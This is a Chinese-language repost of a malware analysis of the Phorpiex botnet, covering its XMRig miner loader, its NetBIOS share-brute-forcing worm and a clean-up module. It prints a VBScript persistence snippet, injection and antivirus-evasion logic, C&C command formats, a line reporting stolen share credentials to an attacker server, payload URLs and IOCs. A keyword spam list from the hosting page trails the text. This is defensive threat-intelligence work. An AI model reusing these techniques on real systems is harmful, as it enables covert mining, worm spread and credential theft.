千家信息网

怎么实现Phorpiex僵尸网络技术分析

发表于:2026-10-31 作者:千家信息网编辑
千家信息网最后更新 2026年10月31日,这篇文章将为大家详细讲解有关怎么实现Phorpiex僵尸网络技术分析,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。XMRig该模块的主要目的是启动XM
千家信息网最后更新 2026年10月31日怎么实现Phorpiex僵尸网络技术分析

这篇文章将为大家详细讲解有关怎么实现Phorpiex僵尸网络技术分析,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。

XMRig

该模块的主要目的是启动XMRig monero矿机。门罗币(或XMR)是一种去中心化的加密货币,通过分布式共识确认,然后记录在区块链上。该加密货币对攻击者非常有吸引力, Monero无法追踪,默认情况下混淆了发送和接收地址以及交易量。 Monero区块链上的交易不能链接到特定用户或真实世界的身份。

Monero采矿机是由XMRig的开源代码构成,是Phorpiex僵尸网络获利的有效载荷之一,被感染的计算机每月可产生约15,000美元的收入。攻击者将矿机植入受感染的计算机并运行,矿工本身及其参数使用简单的密码进行混淆,并嵌入到模块中。在执行之前,恶意软件会将参数解密并传递给矿工。

Phorpiex使用的XMRig与在网上出售的相同,攻击者很可能是在网上购买的。

加载流程

初始化

为了防止运行多个XMRig,加载程序会创建具有硬编码名称的互斥。样本中的名称有所不同。 发现以下硬编码变体:

4b293105d7b102179b20

bf73f1604fc0b6b3d70d

持久化

加载程序将自身复制到" C:\ ProgramData \ {HardcodedFolder} \ {HardcodedExecutable}"。在不同样本中" {HardcodedExecutable}"参数值:

cfgmgr.exe

windrv32.exe

sysdrv32.exe

路径" C:\ ProgramData \ {HardcodedFolder}"也用于存储临时文件,例如VB脚本和传递给矿工的配置。在不同的样本中" {HardcodedFolder}"参数值:

FeSdavbMaL

ADwXcSSGvY

该恶意软件在启动文件夹中创建一个指向自我复制的链接:

%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\{HardcodedFilename}.url

在不同的样本中" {HardcodedFilename}"参数值:

kBBcUBIbha

LtHgNeMqRB

下图显示了启动文件夹中的链接以及可执行文件的路径:

加载程序会根据系统中是否存在以下防恶意软件进程来选择启动URL的方法:

a2guard.exe

a2service.exe

a2start.exe

如果未检测到这些集成,则通过执行以下脚本创建启动链接:

Set objFSO=CreateObject("Scripting.FileSystemObject")

outFile="C:\Users\Lab\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\kBBcUBIbha.url"

Set objFile = objFSO.CreateTextFile(outFile,True)

objFile.Write "[InternetShortcut]" & vbCrLf & "URL=""file:///C:\ProgramData\FeSdavbMaL\cfgmgr.exe"""

objFile.Close

如果VB脚本未能创建此启动配置,或者检测到上面列出的任何进程,则将使用WinAPI函数直接从加载程序中调用。该函数内部还有一个附加检查:是否正在运行任何反恶意软件进程。通常使用以下命令执行:

cmd.exe / C WScript" C:\ ProgramData \ FeSdavbMaL \ r.vbs"

如果遇到以下任何过程,则使用线程注入(请参阅线程注入部分)代替直接的" cmd"调用:

bdagent.exe

vsserv.exe

cfp.exe

ccavsrv.exe

cmdagent.exe

avp.exe

avpui.exe

ksde.exe

对于x86,加载程序将搜索explorer.exe。对于x64,将枚举所有进程,但是将忽略这两个进程:

csrss.exe

winlogon.exe

下图总结了以上所有内容:

加密

加载程序配置值和XMRig Miner有效负载使用XOR加密。 解密密钥" 0125789244697858"被硬编码到二进制文件中。 解密后:

C&C server URL to contact : http://185.176.27[.]132/update.txt

XMR crypto-wallet (re-written by the user ID but used directly in other Phorpiex modules):

4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQujt72bSgzs7j6uNDV

Mining pool : 176.27.132:4545

加载程序

矿工可执行文件使用硬编码的XOR密钥解密:

矿工从" C:\ Windows \ System32"目录(即wuapp.exe)注入到新创建进程的地址空间中。 在执行期间,加载程序将检查taskmgr.exe的状态。 如果检测到任务管理器正在运行,加载程序终止矿工并循环挂起,直到任务管理器不再运行。未检测到taskmgr.exe时,矿工将再次启动。

下图显示了其外观:

注入细节

注入过程最特殊之处是函数的调用方式。加载程序映射自己的ntdll.dll副本,搜索必要的函数,对这些函数进行内部数组指针处理,然后再调用它们。ntdll.dll的地址是通过PEB获得的:

ESI中有ntdll.dll地址:

ESI 777A000 ntdll.777A000

矿工配置

加载程序将配置保存到" C:\ ProgramData \ {HardcodedFolder} \ cfg",并将其作为命令行参数传递给Miner。 配置具有以下结构:

{        "algo": "cryptonight",        "autosave": false,        "background": false,        "colors": true,        "retries": 5,        "retry-pause": 5,        "syslog": false,        "print-time": 60,        "av": 0,        "safe": false,        "cpu-priority": null,        "cpu-affinity": null,        "donate-level": 0,        "threads": 1,        "pools": [                {                        "url": "185.176.27.132:4545",                        "user": "ea7c252d-5590-4983-995d-02a1a35bb966",                        "pass": "x",                        "keepalive": false,                        "nicehash": false,                        "variant": "r",                        "tls": false,                        "tls-fingerprint": null                }        ],        "api": {                "port": 0,                "access-token": null,                "worker-id": null        }}

在研究的样本中,所有的配置值都为硬编码的,"线程"值等于系统中处理器的数量。

未使用的信息

在加载程序执行期间,发现了内存中存在的XMR钱包。 不同的样本可能包含不同的钱包。

4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQujt72bSgzs7j6uNDV

4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoMMyaX2Eun2XCgFYq

分析此模块中XMR钱包的用途,检查了应该使用钱包地址的地方,发现已经使用用户ID进行了重写,然后进行配置:

网络通信

XMRig Loader检查C&C服务器上是否有新指令,并执行找到的指令。 此通信执行两次:在矿工注入之前和之后, 使用不加密的HTTP协议。相应的字段中的值:

支持命令

下面是从C&C服务器发送命令时使用的格式(保留了原始注释):

[Miner]address=YOUR_XMR_ADDRES ; XMR address, email (minergate), btc address (nicehash), etc.poolport=pool.minexmr.com:4444 ; Do not include 'stratum+tcp://' e.g monerohash.com:3333password=x ; Pool passwordstop=0 ; Change this value to "1" to stop miner. If not specified or equal to "0" miner will work.proxy=0 ; Change this value to "1" if you are mining to xmrig-proxy instead of pool. This enables using a unqiue address per worker for better miner monitoring.keepalive=0 ; 0 to disable keepalive, 1 to enable keepalive[Update];config_url=http://xmrminer.net/config.txt ; You can update the url that points to the configuration file. Must begin with "http://" or "https://"knock_time=30 ; Number of minutes the miner waits between visits to config file. If never specified, default is 30 minutes.;update_url=http://mysite.com/new_miner ; url of new miner. Miner will get updated with this file.;update_hash=xxxxxxxxxx ; md5 hash of new miner file. 32 characters long (16 byte hexadecimal format for hash). You need to specify this value, othewise miner will not get updated!;End of configuration. Do not remove this line, ";End" string specifies end of configuration file.;Everything after a ";" character is a comment, so it is ignored by the miner when parsing the configuration. Only the ";" character is used for this purpose.;Always include the appropriate options below the defined "[Miner]" and "[Update]" sections. If you do not include the section names it won't work.;Make sure everything is spelled correctly;If you specify "config_url" double check it is correctly spelled, otherwise the miner that reads an incorrect url will never go back to a correct url (i.e. last configuration will be locked).

Miner update

Miner stop

服务器可能会请求其他文件名:

c.txt

upd.txt

newup.txt

update.txt

xmrupdate.txt

Phorpiex NetBIOS Worm模块

该模块是自我传播的蠕虫,还有下载其他有效负载的功能。NetBIOS蠕虫会扫描随机IP地址查找开放的139 TCP端口(NetBIOS),使用用户名和密码的硬编码列表进行暴力攻击。攻击使用rand函数随机生成用于扫描的IP地址,将GetTickCount结果作为随机种子。 IP地址滤规则是不能以127、172或192开头。NetBIOS蠕虫创建带有硬编码名称的互斥锁防止多次执行。创建单独线程与每个IP地址进行通信,扫描功能与Phorpiex VNC蠕虫模块中的扫描功能非常相似。

如果它是由Phorpiex Tldr加载的,使用伪随机名称保存该模块。在自我传播阶段,恶意软件会使用" WindowsDefender.exe"上传自身。在这种情况下,NetBIOS蠕虫必须下载Phorpiex主模块或其他有效负载。恶意软件通过调用GetModuleFilename获取其文件名。如果名称为" WindowsDefender.exe",它将尝试从硬编码的URL下载并执行文件:

不同样本中的URL:

hxxp://92.63.197.153/NB.exe

hxxp://92.63.197.153/nb.exe

hxxp://193.32.161.77/CRAZYBLAYNE.exe

hxxp://92.63.197.153/enum.exe

hxxp://193.32.161.77/enum.exe

hxxp://193.32.161.77/aldenta.exe

最后无限循环网络扫描。 对于每个随机生成的IP地址,NetBIOS模块都会启动一个线程,检查139 TCP端口是否在进行侦听。 成功连接后,NetBIOS蠕虫会尝试通过调用NetShareEnum API函数来枚举网络共享。

Phorpiex NetBIOS蠕虫会尝试使用用户名和密码的硬编码列表连接到网络共享:

成功连接到网络资源后,恶意软件会尝试将自身复制到以下位置:

WindowsDefender.exe

WINDOWS\All Users\StartMenu\Programs\Startup\WindowsDefender.exe

WINDOWS\StartMenu\Programs\Startup\WindowsDefender.exe

WINNT\Profiles\All Users\StartMenu\Programs\Startup\WindowsDefender.exe

ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\WindowsDefender.exe

Users\All Users\Microsoft\Windows\Start Menu\Programs\WindowsDefender.exe

Documents and Settings\All Users\StartMenu\Programs\Startup\WindowsDefender.exe

目标路径指向启动文件夹确保其在目标系统中的持久性。最后一步是在目标主机上调用上传功能,有两种方式执行:

在远程主机上创建新服务。恶意软件使用" NetBIOS Windows Defender",为创建的服务设置值SERVICE_WIN32_SHARE_PROCESS,并以SERVICE_AUTO_START作为启动类型。

在远程主机上计划任务。预定时间为当前时间120秒。恶意软件通过NetRemoteTOD API函数来获取时间,并针对特定时区进行更正。

操作成功后使用简单HTTP请求,向C&C服务器报告:

snwprintf(url, L"hxxp://92.63.197.153/e.php?srv=%ls|%ls|%ls|%ls", NetLocation, UserName, Password, Message);

HTTP请求的用户代理:

Mozilla / 5.0(Macintosh; Intel Mac OS X 10.9; rv:25.0)Gecko / 20100101 Firefox / 25.0

该恶意软件可以发送以下消息:

其他样本中的信息:

在各种样本中发现的URL:

hxxp://193.32.161.77/nb.php?srv=

hxxp://193.32.161.77/exec.php?srv=

hxxp://193.32.161.77/nn.php?srv=

hxxp://193.32.161.77/gud.php?srv=

hxxp://193.32.161.77/go.php?srv=

hxxp://193.32.161.77/netb.php?srv=

hxxp://193.32.161.77/ok.php?srv=

hxxp://92.63.197.153/e.php?srv=

hxxp://92.63.197.153/huh.php?srv=

hxxp://92.63.197.153/nb.php?srv=

hxxp://92.63.197.153/tst.php?srv=

hxxp://92.63.197.153/ya.php?nb=

Auxiliary模块

Phorpiex非常通用。 主模块接收到"命令"队列,每个命令都是一个单独的可执行模块。 还观察到了功能非常有限的微型模块的许多不同变体。 Phorpiex加载的此类小型可执行文件,例如Clean-Up模块。 它包含2个函数,目的是终止具有指定硬编码名称的进程并删除多个注册表项。

清理模块终止的进程列表包括:

winsrvc32.exe

winupsvcmgr.exe

winsvcinstl.exe

winupd32svc.exe

wincfg32svc.exe

windrv.exe

wincfgrmg***.exe

winmgr.exe

wincfg.exe

wincfg32.exe

winupd.exe

winupd32.exe

winsvcin32.exe

winupd32cfg.exe

winmg***cfg.exe

csrssc.exe

csrsscxn.exe

winsecmgr.exe

winsecmgrv.exe

windrvmg***.exe

清理模块还从注册表项" HKLM \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run \"中删除以下值:

WinCfgMgr

Windows Update Service Manager

Microsoft Windows Update Services

Microsoft Update 495036

Microsoft Windows Service Installer

Microsoft Windows Driver Configuration

Microsoft Windows Installer Svc

Windows Security Manager

该模块禁用过时的Phorpiex模块,例如Phorpiex Trik:

另一种小型可执行文件类型是地理位置定位。 它使用服务api.wipmania.com确定受感染计算机的位置。 如果在白名单中,恶意软件会从硬编码的URL下载有效负载:

2019年初发现针对中国和越南的加载程序,根据位置信息将GandCrab勒索软件的不同变体加载到受感染的计算机上。

总结

Phorpiex是一个非常特殊的恶意软件家族,其功能包括各种不同的模块,每个功能模块都承担着专门的任务:发送垃圾邮件,感染蠕虫等等。如果需要新功能,则引入新模块,无需重建或重新配置现有模块。这种方法不易出错,耗时少,为恶意软件开发人员节省了大量精力。

迄今为止,Phorpiex已感染了超过一百万台计算机,并创造了可观的利润。我们所能看到和估计的只是冰山一角。在Phorpiex家族中的Raccoon Stealer和Predator the Thief还有更多自己独特的方法来进行恶意活动。

IOC

XMRig Silent Loader

Mutex names

0fe420b0eb8396a48280

3f3ff4de39fc87f8152a

4b293105d7b102179b20

5d6eb4d965fd09330511

a6c92143cac02de51d4a

bf73f1604fc0b6b3d70d

ff9702c705fd434610c0

Strings

0125789244697858

f23e1993dfdXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

objFile.Write "[InternetShortcut]" & vbCrLf & "URL=""file:///

Phorpiex NetBIOS Worm Module

URLs

hxxp://92.63.197.153/NB.exe

hxxp://92.63.197.153/nb.exe

hxxp://193.32.161.77/CRAZYBLAYNE.exe

hxxp://92.63.197.153/enum.exe

hxxp://193.32.161.77/enum.exe

hxxp://193.32.161.77/aldenta.exe

Auxiliary modules

关于怎么实现Phorpiex僵尸网络技术分析就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

模块 恶意 软件 程序 文件 编码 不同 地址 函数 样本 矿工 配置 网络 蠕虫 进程 功能 服务 参数 名称 命令 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 上海睿民互联网科技有限公司 国智互联网科技 互联网科技媒体 亿策互联网科技 百单互联网科技有限公司 兼蜜互联网科技 互联网高科技股票 金融科技和互联网金融 中正互联网科技招聘 无锡溥仪互联网科技有限公司 深圳市运趣互联网科技有限公司 玉溪互联网科技怎么选 高科技互联网发展前景如何 区块链结合互联网科技 富国互联网科技002692 互联网安防科技感 互联网科技平台产品运营 长沙渺峰互联网科技有限公司 长沙易易互联网科技有限公司 河南商务圈互联网科技有限公司 互联网科技公司电话 剑昆互联网络科技有限公司临桂 栖莱科技互联网股份有限公司 受益于互联网科技的高速发展 河南猎农互联网科技有限公司 互联网科技和信息 互联网科技人工智能实验室 互联网时代科技型公司的机会 现代科技的标志之一的互联网 如何强化互联网金融科技
0